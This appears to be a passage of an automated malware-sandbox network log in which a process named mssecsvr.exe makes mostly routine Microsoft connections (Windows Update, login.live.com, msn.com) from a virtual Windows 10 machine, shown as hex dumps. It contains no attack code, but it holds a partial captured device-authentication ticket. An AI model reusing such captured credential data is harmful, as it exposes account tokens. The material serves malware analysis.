2022-07-20 07:09:57 UTC	8431	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 07:09:57 UTC	8447	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.2.6	55111	52.152.110.14	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:10:01 UTC	8451	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=vtrywLfNBWfaox+&MD=uALVfvDu HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 07:10:02 UTC	8451	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: 0837b604-4442-44ff-ab42-90a5855779ec MS-RequestId: 1cc802dc-603e-428f-9272-201a78f7b9ed MS-CV: E/PGqC3tyE2qu6a2.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 07:10:01 GMT Connection: close Content-Length: 35877
2022-07-20 07:10:02 UTC	8452	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 07:10:02 UTC	8467	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 07:10:02 UTC	8483	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.6	55188	20.54.89.106	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:10:02 UTC	8487	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=vtrywLfNBWfaox+&MD=uALVfvDu HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 07:10:02 UTC	8487	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: 8378dd79-1100-4745-beab-9e4ced9a4862 MS-RequestId: 39881140-b4ab-451a-ab70-c1af6ff29a5b MS-CV: j2rArbl2c02RYtSI.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 07:10:02 GMT Connection: close Content-Length: 35877
2022-07-20 07:10:02 UTC	8487	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 07:10:02 UTC	8503	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 07:10:02 UTC	8519	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.2.6	55268	20.199.120.85	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:10:03 UTC	8522	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 31 33 36 32 34 66 39 61 38 66 33 61 38 63 39 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: e13624f9a8f3a8c9
2022-07-20 07:10:03 UTC	8522	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 07:10:03 UTC	8523	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 31 33 36 32 34 66 39 61 38 66 33 61 38 63 39 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 67 62 38 6d 63 76 6f 59 71 2f 77 30 68 4c 32 35 4f 78 42 6b 6f 76 76 4b 55 6f 31 62 2f 59 4e 70 33 56 41 6f 66 65 41 70 6b 34 79 4d 55 44 70 75 65 52 32 34 4a 77 42 68 31 64 56 55 6a 50 48 42 38 6b 63 69 30 61 6a 74 78 41 73 4a 6f 46 6e 68 66 72 58 68 4e 4a 34 66 51 46 61 71 39 66 4b 50 49 73 38 58 37 31 4d 6d 4e 45 68 57 42 4d 41 2b 4c 43 75 4b 66 49 68 7a 65 52 39 58 73 44 32 47 2b 6f 34 53 4e 79 54 Data Ascii: ATH 2 CON\DEVICE 1014Context: e13624f9a8f3a8c9<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAATgb8mcvoYq/w0hL25OxBkovvKUo1b/YNp3VAofeApk4yMUDpueR24JwBh1dVUjPHB8kci0ajtxAsJoFnhfrXhNJ4fQFaq9fKPIs8X71MmNEhWBMA+LCuKfIhzeR9XsD2G+o4SNyT
2022-07-20 07:10:03 UTC	8524	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 31 33 36 32 34 66 39 61 38 66 33 61 38 63 39 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 29Context: e13624f9a8f3a8c9
2022-07-20 07:10:03 UTC	8524	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 07:10:03 UTC	8524	IN	Data Raw: 4d 53 2d 43 56 3a 20 49 48 6a 38 30 53 62 35 6f 55 2b 4d 73 73 35 2f 4e 7a 4f 39 70 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: IHj80Sb5oU+Mss5/NzO9pA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.6	50125	40.126.31.73	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:07:48 UTC	141	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2022-07-20 07:07:48 UTC	141	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2022-07-20 07:07:48 UTC	145	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Jul 2022 07:06:48 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: R3_BL2 x-ms-request-id: bcc8a847-9054-40a3-b7d7-78409e04daf3 PPServer: PPV: 30 H: BL02PF374401261 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Jul 2022 07:07:47 GMT Connection: close Content-Length: 11296
2022-07-20 07:07:48 UTC	145	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.2.6	55270	52.152.110.14	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:10:04 UTC	8524	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=vtrywLfNBWfaox+&MD=uALVfvDu HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 07:10:04 UTC	8527	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: 16c8928e-5330-4733-b692-3cf22be66c07 MS-RequestId: 7e11f865-a74c-41da-b216-fc8504eee334 MS-CV: ZrI9+EkuaU2YCLnK.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 07:10:03 GMT Connection: close Content-Length: 35877
2022-07-20 07:10:04 UTC	8528	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 07:10:04 UTC	8543	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 07:10:04 UTC	8559	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.2.6	55347	20.82.209.183	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:10:04 UTC	8524	OUT	POST /v3/Delivery/Events/Impression HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Content-Length: 2786 Content-Type: text/plain; charset=UTF-8 Host: arc.msn.com Connection: Keep-Alive Cache-Control: no-cache
2022-07-20 07:10:04 UTC	8524	OUT	Data Raw: 50 49 44 3d 34 32 35 31 30 36 35 35 38 26 54 49 44 3d 37 30 30 33 34 32 30 38 35 26 43 49 44 3d 31 32 38 30 30 30 30 30 30 30 30 31 33 39 32 37 32 39 26 42 49 44 3d 31 31 33 34 36 31 36 35 34 38 26 50 47 3d 50 43 30 30 30 50 30 46 52 35 2e 30 30 30 30 30 30 30 49 51 38 26 54 50 49 44 3d 34 32 35 31 30 36 35 35 38 26 52 45 51 41 53 49 44 3d 44 42 34 33 32 31 44 45 32 32 39 39 34 35 33 34 38 32 36 39 42 46 43 34 43 43 45 41 44 34 36 36 26 41 53 49 44 3d 35 61 38 64 33 34 62 65 34 63 36 39 34 33 64 61 61 34 32 66 38 35 31 39 61 62 66 66 31 39 62 66 26 54 49 4d 45 3d 32 30 32 32 30 37 32 30 54 31 36 30 39 32 32 5a 26 53 4c 4f 54 3d 32 26 52 45 51 54 3d 32 30 32 32 30 37 32 30 54 30 37 30 37 30 35 26 4d 41 5f 53 